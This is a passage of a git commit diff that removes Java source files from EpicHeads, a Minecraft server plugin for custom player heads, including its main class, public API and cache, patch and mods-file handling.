This commit is contained in:
Brianna 2019-05-04 05:05:54 -04:00
parent f46e0b171f
commit 19d026a59c
153 changed files with 1515 additions and 12466 deletions

3
.gitignore vendored
View File

@ -1,6 +1,7 @@
/bin/
/.settings/
/target/
*.project
*.classpath
.idea
target
EpicHeads.iml

View File

@ -1,432 +0,0 @@
package com.songoda.epicheads;
import com.songoda.epicheads.cache.CacheFile;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.cache.ModsFile;
import com.songoda.epicheads.cache.ModsFileHeader;
import com.songoda.epicheads.cache.legacy.CacheFileConverter;
import com.songoda.epicheads.cache.legacy.LegacyCacheConfig;
import com.songoda.epicheads.command.CommandManager;
import com.songoda.epicheads.config.FileConfigFile;
import com.songoda.epicheads.config.MainConfig;
import com.songoda.epicheads.config.menu.Menus;
import com.songoda.epicheads.config.oldmenu.MenuConfig;
import com.songoda.epicheads.economy.*;
import com.songoda.epicheads.handlers.HeadNamer;
import com.songoda.epicheads.handlers.LegacyIDs;
import com.songoda.epicheads.menu.ui.InventoryMenu;
import com.songoda.epicheads.oldmenu.ClickInventory;
import com.songoda.epicheads.util.Clock;
import com.songoda.epicheads.util.Methods;
import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer;
import com.songoda.epicheads.volatilecode.reflection.Version;
import org.bukkit.Bukkit;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.InventoryHolder;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.java.JavaPlugin;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.function.Consumer;
public class EpicHeads extends JavaPlugin implements Listener {
private static EpicHeads INSTANCE;
private static ConsoleCommandSender console;
private CacheFile cache;
private MenuConfig oldMenuConfig;
private Menus menus;
private MainConfig mainConfig;
private Economy economy;
private LegacyIDs legacyIDs;
private boolean blockStoreAvailable = false;
private References references;
private CommandManager commandManager;
private Locale locale;
@Override
public void onEnable() {
console = this.getServer().getConsoleSender();
INSTANCE = this;
if (Version.isBelow(Version.v1_8)) {
Methods.formatText("&c-------------------------------------------------------------------");
Methods.formatText("&c EpicHeads no longer supports versions below Minecraft 1.8. ");
Methods.formatText("&c Please switch to Heads version 1.15.1 or before. ");
Methods.formatText("&c-------------------------------------------------------------------");
Bukkit.getPluginManager().disablePlugin(this);
return;
}
console.sendMessage(Methods.formatText("&a============================="));
console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!"));
console.sendMessage(Methods.formatText("&7Action: &aEnabling&7..."));
Clock timer = Clock.start();
loadCache();
try {
legacyIDs = LegacyIDs.readResource("legacy-ids.txt");
} catch (IOException exception) {
legacyIDs = LegacyIDs.EMPTY;
Methods.formatText("Unable to load legacy IDs to perform conversion from older Spigot versions");
exception.printStackTrace();
}
// Locales
Locale.init(this);
Locale.saveDefaultLocale("en_US");
this.locale = Locale.getLocale(getConfig().getString("Locale", "en_US"));
this.update();
this.references = new References();
this.menus = new Menus();
this.menus.reload();
this.oldMenuConfig = new MenuConfig(getVersionedConfig("menus.yml"));
this.mainConfig = new MainConfig();
this.economy = hookEconomy();
this.commandManager = new CommandManager(this);
ProtocolHackFixer.fix();
tryHookBlockStore();
new HeadNamer(this).registerEvents();
Bukkit.getPluginManager().registerEvents(this, this);
console.sendMessage(Methods.formatText(getDescription().getName() + " has been enabled with " + cache.getHeadCount() + " heads " + timer + "."));
console.sendMessage(Methods.formatText("&a============================="));
}
@Override
public void onDisable() {
INSTANCE = null;
console.sendMessage(Methods.formatText("&a============================="));
console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!"));
console.sendMessage(Methods.formatText("&7Action: &cDisabling&7..."));
console.sendMessage(Methods.formatText("&a============================="));
}
public void reloadConfigs() {
this.oldMenuConfig.reload();
this.menus.reload();
this.mainConfig.reload();
this.locale.reloadMessages();
this.economy = hookEconomy();
this.tryHookBlockStore();
}
private void update() {
try {
URL url = new URL("http://update.songoda.com/index.php?plugin=" + getDescription().getName() + "&version=" + getDescription().getVersion());
URLConnection urlConnection = url.openConnection();
InputStream is = urlConnection.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
int numCharsRead;
char[] charArray = new char[1024];
StringBuilder sb = new StringBuilder();
while ((numCharsRead = isr.read(charArray)) > 0) {
sb.append(charArray, 0, numCharsRead);
}
String jsonString = sb.toString();
JSONObject json = (JSONObject) new JSONParser().parse(jsonString);
JSONArray files = (JSONArray) json.get("neededFiles");
for (Object o : files) {
JSONObject file = (JSONObject) o;
if ("locale".equals(file.get("type"))) {
InputStream in = new URL((String) file.get("link")).openStream();
Locale.saveDefaultLocale(in, (String) file.get("name"));
}
}
} catch (Exception e) {
Bukkit.getLogger().warning("Failed to update.");
}
}
public File getCacheFile() {
if (!getDataFolder().exists() && !getDataFolder().mkdirs())
throw new RuntimeException("Unable to create the data folder to save plugin files");
if (!getDataFolder().isDirectory())
throw new RuntimeException("plugins/EpicHeads should be a directory, yet there is a file with the same name");
return new File(getDataFolder(), "heads.cache");
}
private CacheFile loadCache() {
File file = getCacheFile();
FileConfigFile legacyConfig = new FileConfigFile("cache.yml");
boolean requiresWrite = false;
if (!file.exists()) {
requiresWrite = true;
if (legacyConfig.getFile().exists()) {
Clock timer = Clock.start();
LegacyCacheConfig legacy = new LegacyCacheConfig(legacyConfig);
cache = CacheFileConverter.convertToCacheFile("main-cache", legacy);
Methods.formatText("Converted legacy yaml cache file to new binary file " + timer);
} else {
cache = new CacheFile("main-cache");
}
} else {
try {
Clock timer = Clock.start();
cache = CacheFile.read(file);
Methods.formatText("Loaded cache file " + timer);
} catch (IOException e) {
Methods.formatText("Unable to read heads.cache file");
throw new RuntimeException("There was an exception reading the heads.cache file", e);
}
}
if (installAddons() || requiresWrite) {
saveCache();
}
if (legacyConfig.getFile().exists() && !legacyConfig.getFile().delete()) {
Methods.formatText("Unable to delete legacy yaml cache file");
}
return cache;
}
public void saveCache() {
File file = getCacheFile();
try {
Clock timer = Clock.start();
cache.write(file);
Methods.formatText("Saved cache file " + timer);
} catch (IOException e) {
Methods.formatText("Unable to save the cache to heads.cache");
throw new RuntimeException("There was an exception saving the cache", e);
}
}
private ModsFileHeader readModsFileHeader() {
try {
return ModsFileHeader.readResource("cache.mods");
} catch (IOException e) {
Methods.formatText("Unable to read header of cache.mods");
throw new RuntimeException("Unable to read header of cache.mods", e);
}
}
private ModsFile readModsFile() {
try {
return ModsFile.readResource("cache.mods");
} catch (IOException e) {
Methods.formatText("Unable to read mods from cache.mods");
throw new RuntimeException("Unable to read mods from cache.mods", e);
}
}
private boolean installAddons() {
Clock timer = Clock.start();
ModsFileHeader header = readModsFileHeader();
int newMods = header.getUninstalledMods(cache);
if (newMods == 0)
return false;
ModsFile mods = readModsFile();
int newHeads = mods.installMods(cache);
if (newHeads > 0) {
Methods.formatText("Added " + newHeads + " new heads from " + newMods + " addons " + timer);
} else {
Methods.formatText("Installed " + newMods + " addons " + timer);
}
return true;
}
private Economy hookEconomy() {
if (!mainConfig.isEconomyEnabled())
return new NoEconomy();
Economy economy = null;
if (mainConfig.isVaultEconomyEnabled()) {
economy = tryHookEconomy(null, new VaultEconomy());
}
if (mainConfig.isItemEconomyEnabled()) {
economy = tryHookEconomy(economy, new ItemEconomy());
}
if (mainConfig.isPlayerPointsEconomyEnabled()) {
economy = tryHookEconomy(economy, new PlayerPointsEconomy());
}
if (economy == null || economy instanceof NoEconomy) {
Methods.formatText("Economy enabled in config.yml yet Vault, PlayerPoints and Item economies disabled. " + "Player's will not be able to purchase heads.");
economy = (economy != null ? economy : new NoEconomy());
}
return economy;
}
private Economy tryHookEconomy(Economy currentlyHooked, Economy toHook) {
if (currentlyHooked != null) {
Methods.formatText(toHook.getName() + " economy is not the only economy enabled in the config.yml.");
if (!(currentlyHooked instanceof NoEconomy))
return currentlyHooked;
}
if (!toHook.tryHook()) {
Methods.formatText(toHook.getName() + " enabled in config.yml, yet Heads was unable to hook into it.");
return new NoEconomy();
}
Methods.formatText("Loaded " + toHook.getName() + " economy");
return toHook;
}
private void tryHookBlockStore() {
if (mainConfig.shouldUseBlockStore() && Bukkit.getPluginManager().getPlugin("BlockStore") != null) {
blockStoreAvailable = false;
try {
Class<?> apiClass = Class.forName("net.sothatsit.blockstore.BlockStoreApi");
apiClass.getDeclaredMethod("retrieveBlockMeta", Plugin.class, Location.class, Plugin.class, String.class, Consumer.class);
Methods.formatText("Hooked BlockStore");
blockStoreAvailable = true;
} catch (ClassNotFoundException | NoSuchMethodException e) {
Methods.formatText("Unable to hook BlockStore, the version of BlockStore you are " + "using may be outdated. Heads requires BlockStore v1.5.0.");
Methods.formatText("Please update BlockStore and report this to Sothatsit if the problem persists.");
}
}
}
@EventHandler(priority = EventPriority.HIGHEST)
public void onInventoryClick(InventoryClickEvent e) {
Inventory inventory = e.getInventory();
if (inventory == null)
return;
InventoryHolder holder = inventory.getHolder();
if (holder instanceof ClickInventory) {
((ClickInventory) holder).onClick(e);
} else if (holder instanceof InventoryMenu) {
((InventoryMenu) holder).onClick(e);
}
}
private boolean isExemptFromCost(Player player) {
if (!mainConfig.isEconomyEnabled() || player.hasPermission("EpicHeads.bypasscost"))
return true;
return mainConfig.isFreeInCreative() && player.getGameMode() == GameMode.CREATIVE;
}
public boolean chargeForHead(Player player, CacheHead head) {
if (isExemptFromCost(player))
return true;
double cost = head.getCost();
if (cost <= 0)
return true;
if (!economy.hasBalance(player, cost)) {
player.sendMessage(getLocale().getMessage("interface.get.notenoughmoney", head.getName(), head.getCost()));
return false;
}
if (!economy.takeBalance(player, cost)) {
player.sendMessage(getLocale().getMessage("interface.get.transactionerror", head.getName(), head.getCost()));
return false;
}
player.sendMessage(getLocale().getMessage("interface.get.purchased", head.getName(), head.getCost()));
return true;
}
public String getCategoryPermission(String category) {
return "EpicHeads.category." + category.toLowerCase().replace(' ', '_');
}
//ToDO: these shouldn't be static.
public static EpicHeads getInstance() {
return INSTANCE;
}
public LegacyIDs getLegacyIDs() {
return INSTANCE.legacyIDs;
}
public MainConfig getMainConfig() {
return INSTANCE.mainConfig;
}
public CacheFile getCache() {
return INSTANCE.cache;
}
public Menus getMenus() {
return INSTANCE.menus;
}
public MenuConfig getMenuConfig() {
return INSTANCE.oldMenuConfig;
}
public Economy getEconomy() {
return INSTANCE.economy;
}
public boolean isBlockStoreAvailable() {
return INSTANCE.blockStoreAvailable;
}
public void sync(Runnable task) {
Bukkit.getScheduler().runTask(INSTANCE, task);
}
public FileConfigFile getVersionedConfig(String resource) {
if (Version.isBelow(Version.v1_13))
return new FileConfigFile(resource, "pre1_13/" + resource);
return new FileConfigFile(resource);
}
public CommandManager getCommandManager() {
return commandManager;
}
public Locale getLocale() {
return locale;
}
public References getReferences() {
return references;
}
}

View File

@ -1,110 +0,0 @@
package com.songoda.epicheads.api;
import com.google.common.collect.ImmutableList;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.volatilecode.TextureGetter;
import org.bukkit.inventory.ItemStack;
import java.util.List;
import java.util.Set;
import java.util.function.Consumer;
public class EpicHeadsAPI {
public static class Head {
private final CacheHead head;
private Head(CacheHead head) {
Checks.ensureNonNull(head, "head");
this.head = head;
}
public boolean isEnabled() {
return EpicHeads.getInstance() != null;
}
public int getId() {
return head.getId();
}
public String getName() {
return head.getName();
}
public String getCategory() {
return head.getCategory();
}
public double getCost() {
return head.getCost();
}
public ItemStack getItem() {
return head.getItemStack();
}
public ItemStack getItem(String displayName) {
return head.getItemStack(displayName);
}
private static Head fromCacheHead(CacheHead head) {
return (head == null ? null : new Head(head));
}
private static Head fromNameAndTexture(String name, String texture) {
return (texture == null ? null : fromCacheHead(new CacheHead(name, "EpicHeadsAPI", texture)));
}
private static List<Head> fromCacheHeads(List<CacheHead> heads) {
ImmutableList.Builder<Head> converted = ImmutableList.builder();
for (CacheHead head : heads) {
converted.add(Head.fromCacheHead(head));
}
return converted.build();
}
}
public static Head getHead(int id) {
CacheHead head = EpicHeads.getInstance().getCache().findHead(id);
if (head == null)
return null;
return new Head(head);
}
@Deprecated
public static List<Head> searchHeads(String query) {
List<CacheHead> search = EpicHeads.getInstance().getCache().searchHeads(query);
return Head.fromCacheHeads(search);
}
public static void searchHeads(String query, Consumer<List<Head>> onResult) {
EpicHeads.getInstance().getCache().searchHeadsAsync(query, heads -> {
onResult.accept(Head.fromCacheHeads(heads));
});
}
public static Set<String> getCategories() {
return EpicHeads.getInstance().getCache().getCategories();
}
public static List<Head> getCategoryHeads(String category) {
List<CacheHead> categoryHeads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
return Head.fromCacheHeads(categoryHeads);
}
public static List<Head> getAllHeads() {
List<CacheHead> heads = EpicHeads.getInstance().getCache().getHeads();
return Head.fromCacheHeads(heads);
}
public static void downloadHead(String playerName, Consumer<Head> consumer) {
TextureGetter.getTexture(playerName, (texture) -> {
consumer.accept(Head.fromNameAndTexture(playerName, texture));
});
}
}

View File

@ -1,291 +0,0 @@
package com.songoda.epicheads.cache;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.handlers.Search;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.IOUtils;
import org.bukkit.scheduler.BukkitRunnable;
import java.io.*;
import java.util.*;
import java.util.function.Consumer;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public final class CacheFile implements Mod {
private final String name;
private final Set<String> mods = new HashSet<>();
private final List<CacheHead> heads = new ArrayList<>();
private final Map<Integer, CacheHead> headsById = new HashMap<>();
private final Map<String, CacheHead> headsByTexture = new HashMap<>();
private final Map<String, List<CacheHead>> categories = new HashMap<>();
public CacheFile(String name) {
this(name, Collections.emptySet(), Collections.emptyList());
}
public CacheFile(String name, Set<String> mods, Iterable<CacheHead> heads) {
Checks.ensureNonNull(name, "name");
Checks.ensureNonNull(mods, "mods");
Checks.ensureNonNull(heads, "heads");
this.name = name;
this.mods.addAll(mods);
addHeads(heads);
}
@Override
public String getName() {
return name;
}
@Override
public ModType getType() {
return ModType.ADDON;
}
public int getHeadCount() {
return heads.size();
}
public List<CacheHead> getHeads() {
return Collections.unmodifiableList(heads);
}
public String resolveCategoryName(String category) {
for (String name : categories.keySet()) {
if (name.equalsIgnoreCase(category))
return name;
}
return category;
}
public Set<String> getCategories() {
return Collections.unmodifiableSet(categories.keySet());
}
public List<CacheHead> getCategoryHeads(String category) {
category = resolveCategoryName(category);
List<CacheHead> list = categories.getOrDefault(category, Collections.emptyList());
Collections.sort(list);
return Collections.unmodifiableList(list);
}
public List<CacheHead> searchHeads(String query) {
return Search.searchHeads(query, heads, 0.4d);
}
public void searchHeadsAsync(String query, Consumer<List<CacheHead>> onResult) {
List<CacheHead> headsCopy = new ArrayList<>(heads);
new BukkitRunnable() {
public void run() {
List<CacheHead> matches = Search.searchHeads(query, headsCopy, 0.4d);
EpicHeads.getInstance().sync(() -> onResult.accept(matches));
}
}.runTaskAsynchronously(EpicHeads.getInstance());
}
public CacheHead findHead(int id) {
return headsById.get(id);
}
public CacheHead findHeadByTexture(String texture) {
return headsByTexture.get(texture);
}
public List<CacheHead> findHeads(UUID uniqueId) {
List<CacheHead> matches = new ArrayList<>();
for (CacheHead head : heads) {
if (!head.getUniqueId().equals(uniqueId))
continue;
matches.add(head);
}
return matches;
}
public CacheHead getRandomHead(Random random) {
return heads.get(random.nextInt(heads.size()));
}
public void addHeads(Iterable<CacheHead> heads) {
for (CacheHead head : heads) {
addHead(head);
}
}
private int getMaxId() {
int max = -1;
for (CacheHead head : heads) {
max = Math.max(max, head.getId());
}
return max;
}
public void addHead(CacheHead head) {
String category = resolveCategoryName(head.getCategory());
head = head.copyWithCategory(category);
head.setId(getMaxId() + 1);
heads.add(head);
headsById.put(head.getId(), head);
headsByTexture.put(head.getTexture(), head);
categories.computeIfAbsent(category, c -> new ArrayList<>()).add(head);
}
public void removeHead(CacheHead head) {
String category = resolveCategoryName(head.getCategory());
heads.remove(head);
headsById.remove(head.getId(), head);
headsByTexture.remove(head.getTexture(), head);
categories.compute(category, (key, categoryHeads) -> {
if (categoryHeads == null)
return null;
categoryHeads.remove(head);
return (categoryHeads.size() > 0 ? categoryHeads : null);
});
}
@Override
public void applyMod(CacheFile cache) {
cache.addHeads(heads);
}
public boolean hasMod(String mod) {
return mods.contains(mod);
}
public void installMod(Mod mod) {
if (hasMod(mod.getName()))
return;
mods.add(mod.getName());
mod.applyMod(this);
}
@Override
public String toString() {
return getType() + " {name: \"" + name + "\", headCount: " + getHeadCount() + "}";
}
public void write(File file) throws IOException {
if (file.isDirectory())
throw new IOException("File " + file + " is a directory");
if (!file.exists() && !file.createNewFile())
throw new IOException("Unable to create file " + file);
try (FileOutputStream stream = new FileOutputStream(file)) {
writeCompressed(stream);
}
}
public void writeCompressed(OutputStream os) throws IOException {
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
write(stream);
stream.flush();
}
}
@Override
public void write(ObjectOutputStream stream) throws IOException {
stream.writeInt(2);
stream.writeUTF(name);
IOUtils.writeStringSet(stream, mods);
stream.writeInt(heads.size());
for (CacheHead head : heads) {
head.write(stream);
}
}
public static CacheFile read(File file) throws IOException {
if (file.isDirectory())
throw new IOException("File " + file + " is a directory");
if (!file.exists())
throw new IOException("File " + file + " does not exist");
try (FileInputStream stream = new FileInputStream(file)) {
return readCompressed(stream);
}
}
public static CacheFile readResource(String resource) throws IOException {
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
return readCompressed(stream);
}
}
public static CacheFile readCompressed(InputStream is) throws IOException {
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
return read(stream);
}
}
public static CacheFile read(ObjectInputStream stream) throws IOException {
int version = stream.readInt();
switch (version) {
case 2:
return readVersion2(stream);
case 1:
return readVersion1(stream);
default:
throw new UnsupportedOperationException("Unknown cache file version " + version);
}
}
private static CacheFile readVersion2(ObjectInputStream stream) throws IOException {
String name = stream.readUTF();
Set<String> mods = IOUtils.readStringSet(stream);
int headCount = stream.readInt();
List<CacheHead> heads = new ArrayList<>(headCount);
for (int index = 0; index < headCount; ++index) {
heads.add(CacheHead.read(stream));
}
return new CacheFile(name, mods, heads);
}
private static CacheFile readVersion1(ObjectInputStream stream) throws IOException {
String name = stream.readUTF();
Set<String> mods = new HashSet<>();
mods.addAll(IOUtils.readStringSet(stream));
mods.addAll(IOUtils.readStringSet(stream));
int headCount = stream.readInt();
List<CacheHead> heads = new ArrayList<>(headCount);
for (int index = 0; index < headCount; ++index) {
heads.add(CacheHead.read(stream));
}
return new CacheFile(name, mods, heads);
}
public static String cool = "%%__USER__%%";
}

View File

@ -1,214 +0,0 @@
package com.songoda.epicheads.cache;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.IOUtils;
import com.songoda.epicheads.volatilecode.ItemNBT;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import javax.annotation.Nonnull;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.*;
public final class CacheHead implements Comparable<CacheHead> {
private int id;
private String name;
private final String category;
private final String texture;
private String textureURL;
private UUID uniqueId;
private final List<String> tags = new ArrayList<>();
private double cost;
public CacheHead(String name, String category, String texture) {
this(-1, name, category, texture, Collections.emptyList(), -1d);
}
public CacheHead(String name, String category, String texture, String... tags) {
this(-1, name, category, texture, Arrays.asList(tags), -1d);
}
public CacheHead(int id, String name, String category, String texture, List<String> tags, double cost) {
Checks.ensureNonNull(name, "name");
Checks.ensureNonNull(category, "category");
Checks.ensureNonNull(texture, "texture");
Checks.ensureNonNull(tags, "tags");
this.id = id;
this.name = name;
this.category = category;
this.texture = texture;
this.textureURL = null;
this.uniqueId = null;
this.tags.addAll(tags);
this.cost = cost;
}
public CacheHead copyWithCategory(String category) {
return new CacheHead(id, name, category, texture, tags, cost);
}
public int getId() {
return id;
}
public String getName() {
return name;
}
public String getCategory() {
return category;
}
public String getPermission() {
return EpicHeads.getInstance().getCategoryPermission(category);
}
public String getTexture() {
return texture;
}
public String getTextureURL() {
if (textureURL == null) {
textureURL = extractTextureURL(texture);
}
return textureURL;
}
public List<String> getTags() {
return tags;
}
public boolean hasCost() {
return cost >= 0;
}
public double getCost() {
return (hasCost() ? cost : EpicHeads.getInstance().getMainConfig().getCategoryCost(category));
}
public double getRawCost() {
return cost;
}
public UUID getUniqueId() {
if (uniqueId == null) {
uniqueId = UUID.nameUUIDFromBytes(getTextureURL().getBytes(StandardCharsets.UTF_8));
}
return uniqueId;
}
public Placeholder[] getPlaceholders(Player player) {
return new Placeholder[] { new Placeholder("%name%", name), new Placeholder("%cost%", getCost()), new Placeholder("%category%", category), new Placeholder("%id%", Integer.toString(id)) };
}
public ItemStack getItemStack() {
return ItemNBT.createHead(this);
}
public ItemStack getItemStack(String name) {
return ItemNBT.createHead(this);
}
public ItemStack addTexture(ItemStack itemStack) {
return ItemNBT.applyHead(this, itemStack);
}
protected void setId(int id) {
this.id = id;
}
public void setName(String name) {
Checks.ensureNonNull(name, "name");
this.name = name;
}
public void setTags(List<String> tags) {
Checks.ensureNonNull(tags, "tags");
this.tags.clear();
this.tags.addAll(tags);
}
public void setCost(double cost) {
this.cost = cost;
}
public void write(ObjectOutputStream stream) throws IOException {
stream.writeInt(id);
stream.writeUTF(name);
stream.writeUTF(category);
stream.writeUTF(texture);
IOUtils.writeStringList(stream, tags);
stream.writeDouble(cost);
}
public static CacheHead read(ObjectInputStream stream) throws IOException {
int id = stream.readInt();
String name = stream.readUTF();
String category = stream.readUTF();
String texture = stream.readUTF();
List<String> tags = IOUtils.readStringList(stream);
double cost = stream.readDouble();
return new CacheHead(id, name, category, texture, tags, cost);
}
@Override
public int compareTo(@Nonnull CacheHead otherHead) {
String otherName = otherHead.getName();
if (name.length() > 1 && otherName.length() <= 1)
return 1;
if (name.length() <= 1 && otherName.length() > 1)
return -1;
if (name.length() == 1 && otherName.length() == 1) {
List<String> otherTags = otherHead.getTags();
int length = Math.min(tags.size(), otherTags.size());
for (int index = 0; index < length; ++index) {
int compare = tags.get(index).compareTo(otherTags.get(index));
if (compare != 0)
return compare;
}
if (tags.size() > 0 && otherTags.size() == 0)
return -1;
if (tags.size() == 0 && otherTags.size() > 0)
return 1;
}
return name.compareTo(otherName);
}
public static String extractTextureURL(String texture) {
try {
String decoded = new String(Base64.getDecoder().decode(texture));
JsonObject json = new JsonParser().parse(decoded).getAsJsonObject();
JsonObject textures = json.getAsJsonObject("textures");
JsonObject skin = textures.getAsJsonObject("SKIN");
return skin.get("url").getAsString();
} catch (Exception e) {
throw new RuntimeException("Unable to get the texture URL of texture " + texture, e);
}
}
public static String hello = "%%__USER__%%";
}

View File

@ -1,191 +0,0 @@
package com.songoda.epicheads.cache;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.IOUtils;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashSet;
import java.util.List;
import java.util.UUID;
public final class HeadPatch {
private final UUID uniqueId;
private boolean category = false;
private String fromCategory = null;
private String toCategory = null;
private boolean tags = false;
private List<String> fromTags = null;
private List<String> toTags = null;
private boolean cost = false;
private double fromCost = -1;
private double toCost = -1;
public HeadPatch(CacheHead head) {
this(head.getUniqueId());
}
public HeadPatch(UUID uniqueId) {
this.uniqueId = uniqueId;
}
public boolean isEmpty() {
return !category && !tags && !cost;
}
public HeadPatch withCategory(String from, String to) {
Checks.ensureNonNull(from, "from");
Checks.ensureNonNull(to, "to");
if(from.equals(to)) {
this.category = false;
return this;
}
this.category = true;
this.fromCategory = from;
this.toCategory = to;
return this;
}
public HeadPatch withTags(List<String> from, List<String> to) {
Checks.ensureNonNull(from, "from");
Checks.ensureNonNull(to, "to");
if(new HashSet<>(from).equals(new HashSet<>(to))) {
this.tags = false;
return this;
}
this.tags = true;
this.fromTags = from;
this.toTags = to;
return this;
}
public HeadPatch withCost(double from, double to) {
if(from == to) {
this.cost = false;
return this;
}
this.cost = true;
this.fromCost = from;
this.toCost = to;
return this;
}
public void applyPatch(CacheFile cache) {
for(CacheHead head : cache.findHeads(uniqueId)) {
applyPatch(cache, head);
}
}
public void applyPatch(CacheFile cache, CacheHead head) {
if(category && head.getCategory().equalsIgnoreCase(fromCategory)) {
cache.removeHead(head);
head = head.copyWithCategory(toCategory);
cache.addHead(head);
}
if(tags && head.getTags().equals(fromTags)) {
head.setTags(toTags);
}
if(cost && head.getRawCost() == fromCost) {
head.setCost(toCost);
}
}
public static HeadPatch createPatch(CacheHead original, CacheHead updated) {
HeadPatch patch = new HeadPatch(original);
patch.withCost(original.getRawCost(), updated.getRawCost());
patch.withCategory(original.getCategory(), updated.getCategory());
patch.withTags(original.getTags(), updated.getTags());
return (!patch.isEmpty() ? patch : null);
}
public void write(ObjectOutputStream stream) throws IOException {
IOUtils.writeUUID(stream, uniqueId);
stream.writeBoolean(category);
if(category) {
stream.writeUTF(fromCategory);
stream.writeUTF(toCategory);
}
stream.writeBoolean(tags);
if(tags) {
IOUtils.writeStringList(stream, fromTags);
IOUtils.writeStringList(stream, toTags);
}
stream.writeBoolean(cost);
if(cost) {
stream.writeDouble(fromCost);
stream.writeDouble(toCost);
}
}
public static HeadPatch read(int version, ObjectInputStream stream) throws IOException {
switch(version) {
case 1:
return readVersion1(stream);
case 2:
return readVersion2(stream);
default:
throw new UnsupportedOperationException("Unknown patch file version " + version);
}
}
public static HeadPatch readVersion2(ObjectInputStream stream) throws IOException {
HeadPatch patch = readVersion1(stream);
boolean cost = stream.readBoolean();
if(cost) {
double from = stream.readDouble();
double to = stream.readDouble();
patch.withCost(from, to);
}
return patch;
}
public static HeadPatch readVersion1(ObjectInputStream stream) throws IOException {
UUID uniqueId = IOUtils.readUUID(stream);
HeadPatch patch = new HeadPatch(uniqueId);
boolean category = stream.readBoolean();
if(category) {
String from = stream.readUTF();
String to = stream.readUTF();
patch.withCategory(from, to);
}
boolean tags = stream.readBoolean();
if(tags) {
List<String> from = IOUtils.readStringList(stream);
List<String> to = IOUtils.readStringList(stream);
patch.withTags(from, to);
}
return patch;
}
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.cache;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public interface Mod {
public enum ModType {
ADDON(0) {
@Override
public Mod read(ObjectInputStream stream) throws IOException {
return CacheFile.read(stream);
}
},
PATCH(1) {
@Override
public Mod read(ObjectInputStream stream) throws IOException {
return PatchFile.read(stream);
}
};
private final int id;
private ModType(int id) {
this.id = id;
}
public int getId() {
return id;
}
public abstract Mod read(ObjectInputStream stream) throws IOException;
public static ModType getById(int id) {
for(ModType type : ModType.values()) {
if(type.getId() == id)
return type;
}
return null;
}
}
public String getName();
public ModType getType();
public void write(ObjectOutputStream stream) throws IOException;
public void applyMod(CacheFile cache);
}

View File

@ -1,135 +0,0 @@
package com.songoda.epicheads.cache;
import com.songoda.epicheads.EpicHeads;
import java.io.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public final class ModsFile {
private final List<Mod> mods = new ArrayList<>();
public ModsFile() {
this(Collections.emptyList());
}
public ModsFile(List<Mod> mods) {
mods.forEach(this::addMod);
}
public Set<String> getModNames() {
return mods.stream().map(Mod::getName).collect(Collectors.toSet());
}
public void addMod(Mod newMod) {
for (Mod mod : mods) {
if (mod.getName().equalsIgnoreCase(newMod.getName()))
throw new IllegalArgumentException("There is already a mod with the name " + mod.getName());
}
mods.add(newMod);
}
public int installMods(CacheFile cache) {
int headsBefore = cache.getHeadCount();
mods.forEach(cache::installMod);
return cache.getHeadCount() - headsBefore;
}
public void write(File file) throws IOException {
if (file.isDirectory())
throw new IOException("File " + file + " is a directory");
if (!file.exists() && !file.createNewFile())
throw new IOException("Unable to create file " + file);
try (FileOutputStream stream = new FileOutputStream(file)) {
writeCompressed(stream);
}
}
public void writeCompressed(OutputStream os) throws IOException {
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
write(stream);
stream.flush();
}
}
public void write(ObjectOutputStream stream) throws IOException {
ModsFileHeader header = new ModsFileHeader(getModNames());
header.write(stream);
stream.writeInt(mods.size());
for (Mod mod : mods) {
stream.writeInt(mod.getType().getId());
mod.write(stream);
}
}
public static ModsFile readResource(String resource) throws IOException {
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
return readCompressed(stream);
}
}
public static ModsFile readCompressed(InputStream is) throws IOException {
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
return read(stream);
}
}
public static ModsFile read(ObjectInputStream stream) throws IOException {
ModsFileHeader header = ModsFileHeader.read(stream);
switch (header.getVersion()) {
case 2:
return readVersion2(stream);
case 1:
return readVersion1(stream);
default:
